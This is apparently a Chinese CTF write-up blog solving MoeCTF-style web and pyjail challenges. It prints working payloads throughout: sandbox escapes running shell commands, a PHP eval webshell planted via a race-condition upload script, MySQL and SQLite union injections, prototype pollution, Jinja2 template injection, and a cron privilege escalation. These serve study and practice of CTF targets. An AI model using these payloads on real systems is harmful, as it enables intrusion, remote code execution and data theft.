mathmagic#

随机的jail，能随机的关住人吗？

1
import time
2

3
class Random:
4
    _P = 1000000021
5
    _A = 320560990
6
    _BASE = 123456789 % _P
7
    def __init__(self, seed=0):
8
        self.state = (self._BASE * pow(self._A, seed % 60, self._P)) % self._P
9

10
    def random(self, mod):
11
        self.state = (self.state * self._A) % self._P
12
        return self.state % mod + 1
13

14
def chall():
15
    MOD = 15
16
    seed = int(time.time())
17
    r = Random(seed)
18
    gift = [r.random(MOD) for _ in range(3)]
19
    print("Wlecome to the word of mathmagic!")
20
    print("I hope you like the puzzle I prepared for you.")
21
    print('I will give you a gift!')
22
    print('I hope you like it. Here is your gift:')
23
    print(gift)
24
    print("Now, I will give you the puzzle!")
25
    print("Have fun!")
26
    CODE = ''
27

28
    while code:=input('>> ').strip():
29
        if len(code) != r.random(MOD):
30
            raise ValueError("Invalid code length! You are not a genius!")
31
        CODE += code + '\n'
32
    print("Good job! You are a genius!")
33
    eval(CODE,{'__builtins__': {}})

only_open#

starwalking，你别躲在里面不出声，我知道你在open，你有本事open，怎么没本事read哪。read呐，你有本事open，你有本事read呐，read，read，快read，starwalking快read，别躲里面不出声，我知道你在open。

友情提示: flag在/tmp/flag

先看代码，分析防御手段：

1
def chall():
2
    safe_globals={
3
        'open':open,
4
        '__builtins__' : {}
5
    }
6

7
    blacklist = ['_','.','\\']
8
    while True:
9
        try:
10
            message = input('Give me your code: ').encode('ascii').decode('ascii')
11
            if any(b in blacklist for b in message):
12
                raise RuntimeError('Can\'t input any characters in blacklist')
13
            eval(message,safe_globals)
14
        except Exception as e:
15
            print(f'{type(e).__name__} : {e}')

首先是置空 __builtins__ ，这意味着几乎所有的内置函数都无法直接使用，注意到其还保留了一个缺口 open ，如果只是这样的话只需要访问 open.__globals__['__builtins__'] 即可拿回正常环境中的内置模块。然而下面黑名单中展示了 _ ，则无法直接使用 __builtins__ 等类似的魔法属性，而屏蔽了 \ ，这使得无法通过 \x5f 或者 \137 转义动态生成 _ 来绕过黑名单。对于 . 的屏蔽是防止直接使用 open("/tmp/flag").read() ，因为这个显然不属于 CTF 考点。而 .encode('ascii').decode('ascii') 是防止通过 Unicode 混淆攻击来绕过屏蔽字符（见题目 3z_ban_jail ）

缺口 open 一定是本题关键，不然直接置空 __builtins__ 即可，有什么办法可以得到 open 的返回呢？

open 是一个可迭代对象，想要获取文件内容，除了使用 read() 以外还可以对其进行解构，我们可以使用数组来承载解构后的结果（元组、集合亦可，但要注意的是用元组承载时要额外加一个逗号来向解释器说明这是元组而不是分组表达式用的圆括号 (*open("/tmp/flag"),) ），即 [*open("/tmp/flag")] 。

由于 eval() 不会直接输出表达式的值，所以我们要让数组显示出来得寻找别的方法。正常的输出函数由于 __builtins__ 的置空已经失效，但是我们可以从“非正常（abnormal）”角度来思考，abnormal=errorabnormal=errorabnormal=error ，所以我们想到通过错误回显的方式来输出（doge）。（其实是从代码中存在主动捕获错误 （try...except...） 的处理可以发现错误回显的思路）

常见的错误回显方式如构造空字典然后使用 [key] 访问里面的内容，显然不可能访问到，于是会报错 KeyError ，在回显中会显示 key 的值，我们只要用格式化字符串 f"{[*open("/tmp/flag")]}" 来将数组强制转化为字符串来作为 key 即可得到数组内容也即文件内容。注意这边并不能构造数组，因为数组传入字符串索引会报的 TypeError: list indices must be integers or slices, not str 是不会回显具体索引的。

Equals#

听说你数学很好，试试让等式成立？

题目的判定标准是，对于 code 需满足 ∑ord(c)=len2(code),c∈code\sum ord(c) = len^2(code), c \in code∑ord(c)=len2(code),c∈code 。由于等式右边初始值过小，左边对于可见字符而言最小也是 32 ，所以输入比较短的代码基本上无法满足。但是注意到左边是近似线性增长，右边是幂增长，所以当代码长度增加时右边最后会超过左边。想到让代码增长但又不影响其功能，首先想到就是注释 # ，我们只需要构造出一个后面缀有特定字符作为注释的 Payload 即可。

接下来推导构建方法，这里涉及到简单的初中数学知识。假设对于原来的代码设为 codecodecode ，其中的字符设为 ccc ，下一步要新增的字符设为 nnn ：

也就是说我们只要让下一个添加的字符的 ascii 码尽可能接近我们当前整个代码的那一大串值（上式中等号右侧）即可。由于在前面很长一段的里面等号右边的值都是负数，所以我们只需要添加尽可能小的字符，也就是空格，其 ascii 为 32 。由于右侧是幂增长，一旦超过左侧就无法被赶上了，所以当我们右侧第一次或者第二次大于 0 的时候大概率就是为数不多可能存在一个可见字符 nnn 满足等式的情况了（第一次大于零的时候可能小于 32 ，这时需要看第二次），这时候只需找到对应 nnn 即可。需要注意的是如果原 Payload 过长有可能出现无法构造的情况。

对以下 Payload 进行构造：

1
print(__import__("subprocess").run("cat /tmp/flag",shell=True,stdout=True).stdout)

在添加了 # 与五个空格后设等式右边为 ttt ，此时 t=100t=100t=100 ，满足关系式 32≤t≤12632\leq t\leq 12632≤t≤126 。则 n=chr(t)n=chr(t)n=chr(t) ，n 取 'd' 。

最终得到的 Payload 如下：

1
print(__import__("subprocess").run("cat /tmp/flag",shell=True,stdout=True).stdout)#     d

碎片风暴#

服务器突然涌入了大量的并发请求！而且每个请求体里，都只带了一小段零碎的字符串。

运维人员抓包后发现，这些字符串似乎是某个重要机密（Flag）的碎片。它们没有序号、没有偏移量，顺序完全是乱的。

你能写一个高性能的服务，接住这些高并发请求，并把完整的 Flag 拼凑出来吗？

首先先要确认请求的格式，通过以下 Python 代码：

1
python3 -c "import socket; s=socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); s.bind(('0.0.0.0', 3000)); s.settimeout(3); s.listen(1); c,a=s.accept(); print(c.recv(4096).decode(errors='ignore')); c.close(); s.close()"

可以捕获其中一个“碎片”：

1
POST / HTTP/1.1
2
Host: 127.0.0.1:3000
3
User-Agent: Go-http-client/1.1
4
Content-Length: 4
5
Content-Type: text/plain
6
Accept-Encoding: gzip
7

8
n_Bu

可以知道是标准的 POST 请求，于是编写 Python 代码进行简单的捕获，然后再用题目附件给的 SCS 求解函数进行拼接，最终得到 flag 。（当然理论上用该 Python 代码提交 n 次也可以得到完整的 flag ）

1
import asyncio
2

3
frags = set()
4
lock = asyncio.Lock()
5

6
def solve_scs(fragments: list[str]) -> tuple[str, bool]:
7
    """
8
    Shortest Common Superstring solver.
9

10
    Args:
11
        fragments: 碎片列表（可含重复）
12
    Returns:
13
        (result, is_success)
14
        - result: 还原后的字符串
15
        - is_success: True = 贪心结果唯一可信；False = 存在歧义或碎片不连续
16
    """
17

18
    from itertools import permutations
19

20
    # 1. 去重 + 去冗余（被其他片段包含的直接丢弃）
21
    frags = list(dict.fromkeys(fragments))           # 去重，保序
22
    frags = [
23
        f for f in frags
24
        if not any(f in g for g in frags if g != f)
25
    ]
26

27
    if not frags:
28
        return ("", False)
29
    if len(frags) == 1:
30
        return (frags[0], True)
31

32
    def max_overlap(a: str, b: str) -> int:
33
        """a 的后缀与 b 的前缀的最大重叠长度"""
34
        limit = min(len(a), len(b))
35
        for ol in range(limit, 0, -1):
36
            if a.endswith(b[:ol]):
37
                return ol
38
        return 0
39

40
    def greedy_merge(pool: list[str]) -> str:
41
        """贪心：每轮合并重叠最大的一对"""
42
        pool = pool[:]
43
        while len(pool) > 1:
44
            best_ol, bi, bj = -1, 0, 1
45
            for i in range(len(pool)):
46
                for j in range(len(pool)):
47
                    if i == j:
48
                        continue
49
                    ol = max_overlap(pool[i], pool[j])
50
                    if ol > best_ol:
51
                        best_ol, bi, bj = ol, i, j
52
            merged = pool[bi] + pool[bj][best_ol:]
53
            pool = [merged] + [pool[k] for k in range(len(pool)) if k not in (bi, bj)]
54
        return pool[0]
55

56
    # 2. 片段数量少时用暴力
57
    #    片段数量多时用贪心
58
    EXACT_THRESHOLD = 8
59

60
    if len(frags) <= EXACT_THRESHOLD:
61
        # 枚举所有排列，找真正最短的公共超串
62
        best: str | None = None
63
        for perm in permutations(frags):
64
            # 按排列顺序依次合并
65
            cur = perm[0]
66
            for nxt in perm[1:]:
67
                ol = max_overlap(cur, nxt)
68
                cur += nxt[ol:]
69
            if best is None or len(cur) < len(best):
70
                best = cur
71

72
        # 检查贪心结果是否与精确结果一致
73
        greedy_result = greedy_merge(frags)
74
        is_success = (greedy_result == best)
75
        return (best, is_success)     # type: ignore[return-value]
76

77
    else:
78
        # 片段太多，只跑贪心
79
        result = greedy_merge(frags)
80
        is_success = all(f in result for f in frags)
81
        return (result, is_success)
82

83
async def handle(reader, writer):
84
    data = await reader.readuntil(b'\r\n\r\n')
85
    text = data.decode('utf-8')
86

87
    content_length = 0
88
    for line in text.split('\r\n'):
89
        if line.startswith('Content-Length:'):
90
            content_length = int(line.split(':')[1].strip())
91
            break
92
    try:
93
        body = await reader.readexactly(content_length) if content_length > 0 else b''
94
    except Exception as e:
95
        print(f'Error reading request: {e}')
96
        writer.close()
97
        await writer.wait_closed()
98
        return
99

100
    async with lock:    # 注意这里要加锁
101
        frags.add(body.decode('utf-8'))
102
        res = solve_scs(list(frags))
103
        if res[0].startswith('moectf{') and res[0].endswith('}'):
104
            print(f'Found the flag: {r·es[0]}')
105

106
    writer.write(b'HTTP/1.1 200 OK\r\n\r\n')
107
    await writer.drain()
108
    writer.close()
109
    await writer.wait_closed()
110

111
async def main():
112
    server = await asyncio.start_server(handle, '0.0.0.0', 3000)
113
    print('Server running on http://0.0.0.0:3000')
114
    await server.serve_forever()
115

116
asyncio.run(main())

得到 flag 为 moectf{BY-us1NG-IANGU4g35-We_c@n_BuILD_V4rI0US_pIATF0rms-and-applications0} 。

需要注意的是这里有一个高并发下的锁处理，避免多线程同时修改 frags 时造成数据竞争。另外本程序为一次性程序，不是很健壮，且在拿到 flag 以后没有判定 is_success == True 后退出，仍然会继续运行造成 flag 刷屏，Ctrl + C 即可 。

查分系统#

下载静态的 system.html 打开源代码，Ctrl + F 查询 moectf 即可得到 flag 。

归途#

先看控制台，我们发现了 Key1-N2ghNUkkTQ== ，base64 解码后发现这是 7h!5I$M ，推测是 flag 的一部分。继续审计源码，发现了一行注释：

1
<!-- Key2-QDBtNG9k -->

解码后为 @0m4od ，而后又在网络请求中发现了 key3（注意这一步审计源码也可以得到）：

1
async function pollKey() {
2
  try {
3
    const res = await fetch("/getKey?id=3", { cache: "no-store" });
4
    const data = await res.json();
5
  } catch (error) {
6
    document.getElementById("api-status").textContent = "Request failed";
7
  }
8
}

1
{
2
    "key": "Key3-M0szeUVuKw==",
3
    "message": "Do you know url params? Try to get Key4"
4
}

这里的 url params 指的是 url 后面所带的参数，其格式为 ?param1=value1&&param2=value2... ，省略号表示可以有多个类似结构的参数。观察这个 GET 方法，我们可以看到其传了一个 id=3 从而得到了 key3 ，那么 key4 显然就是 id=4 咯，尝试 GET key4（这一步可以在浏览器中直接输入网址进行，也可以在工具中进行）：

1
{
2
  "key": "Key4-ZXJUaDFzbGE=",
3
  "message": "Do you know HTTP headers? Check it. Besides, Try to POST this api"
4
}

这里让我们 check 一下 HTTP headers ，即查看一下返回的请求头：

1
HTTP/1.0 200 OK
2
Server: BaseHTTP/0.6 Python/3.12.13
3
Date: Tue, 13 Oct 2026 05:57:14 GMT
4
Content-Type: application/json; charset=utf-8
5
key: Key5-ITkzdA==
6
Content-Length: 108

下一步是 POST 刚刚那个 api ：

1
{
2
  "key": "Key6-ZnwxbGFA",
3
  "message": "Try login!"
4
}

再下一步是尝试登录，由于没有给具体的登录方式，猜测直接构造 url /login 来进入登录，给出了账号与密码直接登录，登录后提示：

1
Do you know cookie(不能吃)? Try to login the account of "admin"

在 cookie 中发现了一个 user:guest ，修改为 user:admin 即可进入下一步：

1
Key7-NGFAZzY5Nmc5
2
有一个文件限制了爬虫可以访问的内容，是什么呢？
3
All Key body are a b64 string, try to decode

凭借常识可知题目说的是 /robots.txt ，访问后得到一个路径 /f13ggggg ，访问后输入最终解码的内容：

1
Key1   N2ghNUkkTQ==   7h!5I$M
2
Key2   QDBtNG9k       @0m4od
3
Key3   M0szeUVuKw==   3K3yEn+
4
Key4   ZXJUaDFzbGE=   erTh1sla
5
Key5   ITkzdA==       !93t
6
Key6   ZnwxbGFA       f|1la@
7
Key7   NGFAZzY5Nmc5   4a@g696g9
8

9
7h!5I$M@0m4od3K3yEn+erTh1sla!93tf|1la@4a@g696g9

便可以得到最终的 flag 。

当零来敲门#

快来和群友（并不是）一起玩快乐的数字接龙！只要大家齐心协力从 1 数到 500，出题人就把 Flag 白送给你！

诶等等，怎么聊天室里混进来了一个…… 这个「林林」是个无情的刷屏复读机，每过 10 秒钟就必须看到一次 0。只要它发了 0，大家刚刚数出来的进度就当场重置归零！

显然靠手速在 10 秒内打完 500 次是不现实的，考虑 Python 脚本自动进行报数。

先尝试报数 1 ，即可在浏览器 Devtools 的 Network 中找到是向 /chat 发送了一个 POST 请求，请求的表单包括用户名和消息。连接上 SSH 后在交互式 Python 中使用以下代码即可。

1
import requests
2
url = "http://127.0.0.1:8080/chat"
3
for i in range(500):
4
  data = {"user": "cck", "msg": i+1}
5
  res = requests.post(url, json = data)
6
  print(res.status_code)

MoeCatchTheFrogs#

MoeCTF 2026 官方群已经被绿色青蛙占领！！🐸🐸🐸

传说抓住所有的九种青蛙，就可以获得一份神秘礼物……

点击抓青蛙后发现 cookie 中多了一个 frog_session ，看样式应该是 flask-session ，使用 flask-unsign 即可爆破出弱口令 qwe123456 ，然后构造出 {'frogs':[0,1,2,3,4,5,6,7,8,9]} 的对应 session ，修改本地后刷新网页即可。

注意这个口令貌似在 flask-unsign 默认词典里没有，需要换个体量更大的 wordlist 。

古籍翻阅#

容器打开后是一大堆的古籍，随便点击几本进去都是 404 - 此卷散佚 ，联系题目名字我们应该要找到一个特殊的古籍，而题目给了所有古籍的目录，我们可以写一个简单的 python 脚本来处理这个目录，从中找到突破口：

1
with open("guji_catalog.txt", "r") as f:
2
    content = sorted(f.readlines())
3
    for line in content:
4
        print(line.strip())

在输出的 s 和 z 开头的文件之间我们可以看到一个与众不同的文件名字 true_file：

1
...
2
shi/tongjian/www
3
true_file
4
zi/laozi/admin
5
...

推测这是下一步的突破口，我们在 html 源码中搜寻该文件名得到：

1
<a class="scroll-link" href="[/read?book=true_file](http://127.0.0.1:51569/read?book=true_file)"><span class="seal">0737</span><span class="title">无名真卷</span><span class="meta">孤本</span></a>

点进去后得到了提示：

其实flag藏在了根目录下，去看看根目录吧

这里尝试了 /flag , /read?book=/flag ，/read?book=flag 等都是无果的。后来盯着目录文件看了半天突然发现这很像是文件结构，考虑存在路径穿越漏洞，于是尝试 /read?book=../../ 成功得到 flag ：moectf{re@d_the_r00t_5utr4_w1th_path_tr4v3r5@l} 。从 flag 可以看出路径穿越确实是该题预期知识点。

河湖小盗#

打开界面非常简洁的一个网信院往年试题检索系统，很明显要使用 sql 注入。

首先尝试输入 1 ，可以看到返回了序号为 1 的登记人的信息，尝试输入 1 or 1=1 ，发现全部 5 条信息都出现了，说明是数字型注入，上下文内不存在引号且查询参数后面没有任何内容。观察表格有三列，猜测查询内容有三列，尝试使用联合注入 1 union select 1,2,3 ，成功将 1,2,3 带到了返回的结果里来。

通过特征函数 version() 与 sqlite_version() 可以判断出数据库是 MySQL 8.0.46 ，则使用 MySQL 的方法查表名列名等：

1
1 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()
2
1 union select group_concat(column_name),2,3 from information_schema.columns where table_name="flag_table"
3
1 union select flag,2,3 from flag_table where id=1

最终可以得到 flag ：moectf{h3re_i5_your_7e$7_pap3r} 。

我刚一提交就发现了三个问题#

我在你们这才交了几个文件，我已经发现三个问题了：

首先，（啪啪啪），在线提交，这文件怎么进了你的私人的目录里呢？

第二，这个文件我刚传进去，我还没拿到flag呢，这已经被删了，诶，这说明你们的后端逻辑有问题啊

第三，这个木马已经被我传上去了，这位邪恶的出题人，你怎么不给我flag呢？那请问我怎么才能解题呢？

（尝试提交内容为题目描述的文本文件会有惊喜，不包含括号内容，注意消除行间空格）

首先分析题目，通过提交文件可知这应该是一道文件上传漏洞题目。由题目第二点可知后端有对上传的文件进行校验，剩下两点看不出有什么作用。

连接上 wsrx 后对网页进行观察，尝试随便上传一个文件 1.txt ，发现会有回显上传路径为 /private/1.txt ，访问后可以看到文件内容。尝试编辑一句话木马 <?php @eval($_POST[\"cmd\"]); ?> 并上传，发现正常显示上传路径，但是访问时出现 404 。说明未通过服务器校验后被删除文件。此外还进行了其他尝试如改后缀名为 php3 、php5 等，将 PHP 代码通过 txt 格式上传等，均会出现 404 ，推测后端校验会校验内容，于是另找方向突破。

从正常显示上传路径可猜测服务器大概率是先保存文件再进行校验文件的，中间可能存在允许访问文件的窗口，联想到竞态条件漏洞。我们可以通过多线程上传文件与访问文件，使得上传的文件在还未校验删除的窗口期被触发，从而植入不会被校验的木马文件，再访问木马文件即可。

1
import requests
2
import threading
3
import time
4

5
BASE_URL = "http://127.0.0.1:1883"
6
SEND_PATH = "/submit"
7
GET_PATH = "/private/a.php"
8
THREAD_COUNT = 20
9

10
PAYLOAD = "<?php file_put_contents('ckk.php', '<?php @eval($_POST[\"cmd\"]); ?>'); echo 'Mamba out!'; ?>"
11
files = {'file': ('a.php', PAYLOAD, 'application/x-php')}
12

13
stop_event = threading.Event()
14

15
def send_payload():
16
    while not stop_event.is_set():
17
        try:
18
            response = requests.post(BASE_URL + SEND_PATH, files=files, timeout=1)
19
            time.sleep(0.01)
20
        except Exception as e:
21
            pass
22

23
def get_shell():
24
    while not stop_event.is_set():
25
        try:
26
            res = requests.get(BASE_URL + GET_PATH, timeout=1)
27
            if res.status_code == 200 and "Mamba out!" in res.text:
28
                print("Shell obtained!")
29
                stop_event.set()
30
                return
31
            else:
32
                pass
33
        except Exception as e:
34
            pass
35
        time.sleep(0.01)
36

37
if __name__ == "__main__":
38
    threads = []
39
    for _ in range(THREAD_COUNT):
40
        t = threading.Thread(target=send_payload)
41
        threads.append(t)
42
        t.start()
43

44
    get_shell()
45

46
    for t in threads:
47
        t.join(timeout = 1)
48

49
    print("All threads have finished.")

运行后等待输出 Shell obstained! ，然后访问 /private/ckk.php，界面空白，在开发者工具中网络选项卡看到状态码为 200 ，则注入成功。而后用蚁剑连接，在根目录下的 flag 文件中得到 flag ：moectf{h0t_$0y_m!1k_ha5_n0_$+raw} 。

合乎周礼 & 礼崩乐坏#

同一系列的题，通过访问 /api/help 得到以下信息：

1
{
2
  "name": "配置中心",
3
  "routes": {
4
    "GET /": "题目描述",
5
    "GET /api/me": "查看当前用户的配置",
6
    "POST /api/profile": "提交 JSON 配置",
7
    "GET /api/flag": "只有审核 isAdmin=true 且 canReadFlag=true 时返回 FLAG"
8
  }
9
}

访问 /api/me 得到以下信息：

1
{
2
  "ok": true,
3
  "profile": {
4
    "profile": {
5
      "nickname": "guest"
6
    },
7
    "theme": {
8
      "color": "blue"
9
    }
10
  },
11
  "inheritedProbe": {
12
    "isAdmin": null,
13
    "canReadFlag": null
14
  }
15
}

可知我们需要做的事情就是让 inheritedProbe 下的两个属性全部都变为 true 。尝试 POST /api/profile 并上传 JSON 可以发现上传的东西会被解析添加到 profile 下，无法直接修改我们要的 inheritedProbe 。这种隔空影响属性的要求能够联想到原型链污染。

前者不存在 WAF ，所以直接用最简单的方式即可：

1
{
2
  "profile": {
3
    "__proto__": {
4
      "isAdmin": true,
5
      "canReadFlag": true
6
    }
7
  }
8
}

后者存在 WAF ，禁止嵌套对象，否则会返回 “配置值仅允许布尔值、数字、短字符串或 null” ，那后端有可能采用的是类似“点号路径赋值”的函数，能够传入扁平键值对。尝试构造 __proto__.isAdmin ，发现如果遇到 __proto__ 会返回 “此举不合礼制” 。经过尝试后发现出题人没有屏蔽 constructor ，构造以下 JSON 即可：

1
{
2
  "profile": {
3
    "constructor.prototype.isAdmin": true,
4
  "constructor.prototype.canReadFlag": true
5
  }
6
}

Dried Milkdragon#

奶龙题，题目给出一张图是某品牌芒果干，在天猫超市转了一圈只看到了同品牌的另一款较大包芒果干，但是经过观察图像发现芒果干袋子的钩子是透明的，而天猫超市（以及后面的永年超市）的正常货架的钩子是非透明的圆柱状，又转了一圈发现之前忽略的在货架边上的一整条挂下来的商品有部分满足该现象，同时观察到图片内芒果干袋子下方有同品牌该产品没有的花纹，而图片左下角有粉色的同款花纹——说明多种口味的该种芒果干在竖行同一处，所以推测这是货架侧面商品，天猫超市中货架侧面没有符合的商品。于是去永年超市，然后便找到目标，商品旁有一个意见本，翻到最后一页即为 flag 。

以上分析过程是无聊且懒得出去的时候想的，有助于加快一点点实地找的速度，其实只需要细心一点去遍历两个超市所有商品即可。

emoji#

发散能力不够，遂 Deepseek 解出答案。（以下为 ds 原话）

• 🌝🌚：明 + 月 → 明月
• 👋：送别，谐音“松”
• 🚀：火箭有“箭”，谐音“间”
• 👋：招手，谐音“照”
• 😙：亲，谐音“清”
• 🤛：拳，谐音“泉”
• 🤛：拳头硬如石 → 石
• 🌞：太阳在天上 → 上
• 🌧️：下雨流水 → 流

虽然我觉得这好雷霆啊这真的简单吗（？

好想玩原神#

首先观察界面，是个原神登录界面，尝试随便输入用户名与密码，返回零条通行证记录并且 redirect 到原神官网（x

尝试代码审计，查看源代码的时候发现注释中含有 checkit 的账号名单，随便挑选一个可以登录成功并且返回不知所云的通行证记录。通过 Yakit 进行全部账号尝试后发现返回的东西没有什么特殊的（如 cookie 等），遂猜测可能是 SQL 注入（？

首先使 password:Windfall2407' ，发现返回的内容变成了：

1
{
2
  "detail": "OperationalError",
3
  "error": "登录网关解析失败"
4
}

上网查询后发现是 sqlite3 的常见错误，也就是说是字符型注入。尝试 sqlite 相关函数如 sqlite_version() ，构造 payload 时却一直发现出现 403 错误，查看返回体发现：

1
{
2
  "error": "blocked by login firewall",
3
  "redirect": "https://ys.mihoyo.com/"
4
}

出现了 WAF ，通过逐个构造，发现注释如 # /**/ -- 等都被 ban 了，包括 and or 等也都被 ban 了，但是 union 居然是没有被 ban 的，这意味着出题人大概率是要我们用联合注入。现在问题变成如何在无法使用注释的情况下完成对 password 的后引号闭合或者是无效化。上网查询资料后发现可以通过 ||' 的方式完成闭合，将整个查询语句拼凑为类似于 select 1,2,3,'4'||'' 的样子。

要联合查询就要知道查询列数，从返回的 json 可以看出有四个项，故猜测有 4 列，发现确实如此。

1
Windfall2407' union select 1,2,3,'4'||'

然后就是拿表名列名之类的操作了：

1
Windfall2407' union select 1,2,3,(select group_concat(name) from sqlite_master where type='table')||'
2
Windfall2407' union select 1,2,3,(select group_concat(name) from pragma_table_info('secret_flags'))||'
3
Windfall2407' union select 1,2,3,(select flag_value from secret_flags)||'

这题对只打过 Moectf2026 的笔者还是有两个很重要的启发：一个就是考察到了笔者不熟悉的 sqlite ，以至于刚开始做的时候总是不小心串到 Mysql 的一些函数、库名中以至于还以为查表名等手段被 ban 了；还有就是把注释给 ban 了，这时候就要尽量注入位置在后面的参数比如 password 了，因为少了注释这种 AOE（群伤）杀招，我们就必须考虑到注入参数后面的语句了，而 password 譬如对于本题来说后面只有一个 ' ，减小了使语法有效的难度。

BandInvite#

发现能注册，随便注册一个用户进去后，发现用户权限不够，则方向应该是想办法提权（？发现 cookie 处出现了一个类似 JWT 的 session ，推测要伪造 JWT。

然后用 hashcat + hashmob.net_2025.small.found 来爆破密钥，未成功，又尝试修改 alg:none 等方法均无法实现。说明密钥可能是强随机且 header 有校验，这条路大概率行不通。

在审计源码时发现了一个 <script type="module" src="/@vite/client"></script> ，上网查询后发现这大概率是开发环境下源码没有打包直接放到生产环境下，这意味着可以获取 package.json ，成功在里面找到了 vite 版本号 8.0.4 。搜索相关版本的 CVE 漏洞，找到了一个很有用的任意文件读写漏洞 —— CVE-2026-39363 ，从 github 上找到相关的利用脚本（GitHub - sunynov/CVE-2026-39363: 方便实用的CVE-2026-39363利用工具 · GitHub），利用 ds 修改了 “缺少发 TLS SNI”（不是很清楚，可能是 tsctf 的服务端配置中要求了不发 SNI 就拒绝完成 TLS 握手？） 的漏洞以后尝试用其连接在页面的 Audit Logs 里提到的 /run/starry/dispatch-note.txt 并且成功获取内容：

1
ticket: handoff-9c2e7b41
2
roster: GET /api/dispatch/roster?ticket=...
3
open shift: shift-0727
4
claim hint: POST /api/dispatch/shift-0727/...
5
Check roster before claiming; keep the same session.
6
Preview helper: press_kit.attachment(filename, ticket)

修改后脚本会贴在博客最后，另外利用 dsh 在常见出现 flag 的地方进行遍历，最终在 /flag 发现了 flag，但是由于权限问题无法读取，先记下这个路径：

1
[!] read failed: Error: EACCES: permission denied, open '/flag'

先 GET roster 可以得到：

1
[
2
  {
3
    "assigned_to": "seika",
4
    "date": "2026-07-27",
5
    "duty": "notice_review",
6
    "id": "shift-0727",
7
    "status": "open"
8
  },
9
  {
10
    "assigned_to": "nijika",
11
    "date": "2026-08-02",
12
    "duty": "live_check",
13
    "id": "shift-0802",
14
    "status": "open"
15
  },
16
  {
17
    "assigned_to": "ryo",
18
    "date": "2026-08-11",
19
    "duty": "budget_review",
20
    "id": "shift-0811",
21
    "status": "closed"
22
  }
23
]

然后猜测 claim 路径的省略号指代的应该就是 claim ，POST 后提示：

1
{ "error": "dispatch ticket required" }

加上 GET 参数 ticket=handoff-9c2e7b41 即可：

1
{
2
  "ok": true,
3
  "role": "admin"
4
}

此时登录账号发现自己已经变成了 admin 身份，可以访问通知预览了。

由于发出去的通知根本没有回显，有些没思路了，于是让 dsh 拿着 admin 身份跑了接口，根据 dsh 发现，当且仅当通知类型为 “临时公告” 即 custom_stage_notice 时服务端会进行模板渲染，并且将渲染的成功与否以 archived/failed 的状态返回，这也对应了后面出题人发的 hint ：

开发人员和店长说，预览不会直接回显渲染结果，但是他忘了清理返回的布尔状态

对了 dsh 还发现了如果直接访问或者是在网页端访问的话会提示需要 ticket ，解决方法是在请求体的 variables 处增加一个字段 ticket 并设值为 handoff-9c2e7b41 即可。

尝试注入，发现 __ 、import 等关键词返回 "error": "notice body rejected by publishing policy" ，则问题变成了 Jinja2 上下文 pyjail + 字符串 WAF 。

字符串很好绕过，我们可以使用比如 'o'~'s' 来构造 os 等黑名单里的字符串 ，使用 .|attr() 来代替点号的调用。但是绕过这一层后就陷入了死胡同，所有常规的沙箱逃逸手段全部无效，甚至拿 dsh 对我知道的和我不知道的所有逃逸方法都跑了一遍，完全无法读到文件 /flag 。

去请教出题人，出题人这时候给了个 hint ，才发现我漏掉了 dispatch-note.txt 的最后一行：

1
Preview helper: press_kit.attachment(filename, ticket)

也就是说沙箱里难道预留了一个工具函数可以读取文件？尝试以下代码：

1
{% if press_kit is defined %}OK{% else %}{{ 1/0 }}{% endif %}
2
{% if press_kit|attr('attachment') is callable %}OK{% else %}{{ 1/0 }}{% endif %}
3
{% if (press_kit.attachment('/f'~'lag', ticket)) is string %}OK{% else %}{{ 1/0 }}{% endif %}
4
{% if (press_kit.attachment('/f'~'lag', ticket)[0]) is defined %}OK{% else %}{{ 1/0 }}{% endif %}

以上结果皆为成功，说明可以通过 press_kit.attachment() 返回的字符串按下标一位一位进行布尔二分从而拿到 flag ，让 ds 写了相关代码，以 {% if (press_kit.attachment('/f'~'lag', ticket)[i]) == 'T' %}A{% else %}{{1/0}}{% endif %} 这种方式来将任何表达式的布尔转化为是否抛出异常，成功拿到 flag 。

玛德莱娜小蛋糕#

整个页面只有一个上传 GIF 图片的操作空间，推测考点是图片木马。刚开始还是用 copy /b 将真实 GIF 和 PHP Payload 拼接，后来一次偶然的尝试发现只需要在文件开头添加魔数 GIF89a 即可绕过检验，省了一步 copy 操作。

当上传包含 <?php（大小写不敏感）时会发现类似 “管理员嗅到了浓浓的 php 味道” 之类的话，考虑绕过，尝试修改为 <?= ，发现成功上传了，从而成功构造 RCE 。

下一步对系统进行分析，最后在根目录下发现 flag ，发现是 600 ，拥有者是 root ，而我们目前拿到的权限肯定是不够 root 的，则下一步应该是提权。

在根目录发现了一个非常规文件 entrypoint.sh 交给 ds 分析后得到了一个关键词是 cron ，查询后得知这是 linux 的定时任务管理工具，于是尝试读取以下路径：

1
cat /etc/crontab
2
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/
3
ls -la /var/spool/cron/crontabs/

在 /etc/cron.d/ 中发现了以下内容：

1
-rw-r--r-- 1 root root   99 Oct  3 13:11 teahouse-cleanup

读取后得到：

1
* * * * * root /bin/bash /opt/teahouse/bin/clean_uploads.sh >> /var/log/teahouse-cleanup.log 2>&1

从而发现以 root 权限启动的定时任务并获得其内容：

1
#!/bin/bash
2
set -u
3

4
UPLOAD_DIR="/var/www/html/storage/tmp"
5
PROFILE_FILE="/var/lib/teahouse/cleanup.conf"
6

7
if [ ! -d "$UPLOAD_DIR" ]; then
8
    exit 0
9
fi
10

11
if [ -f "$PROFILE_FILE" ]; then
12
    source "$PROFILE_FILE"
13
fi
14

15
# The teahouse keeps albums tidy by sweeping oversized or stale temporary desserts.
16
find "$UPLOAD_DIR" -type f -size +"${MAX_UPLOAD_SIZE:-1M}" -delete
17
find "$UPLOAD_DIR" -type f -mmin +"${UPLOAD_TTL_MINUTES:-3}" -delete
18
find "$UPLOAD_DIR" -type f -mmin +"${UPLOAD_TTL_MINUTES:-3}" -delete

查询后发现其中的 source 命令能够以当前命令的权限来执行后面跟的参数所指向的文件，则如果能够修改该文件即可达到 sudo 的效果从而读取 flag 。由于定时任务的回显无法读取，所以只能使定时任务能够修改 flag 为 644 即可。

另外好像直接修改 flag 的权限不行，要先复制一下去修改复制的文件的权限（？

1
curl -k "https://79546a564770794f7565515a5937384d39476e5762-p80.chal.buptmerak.cn/storage/tmp/32db9bf55d1d.phtml?cmd=echo%20%27cp%20/flag%20/var/www/html/flag%3Bchmod%20644%20/var/www/html/flag%27%3E/var/lib/teahouse/cleanup.conf%26%26echo%20ok"
2
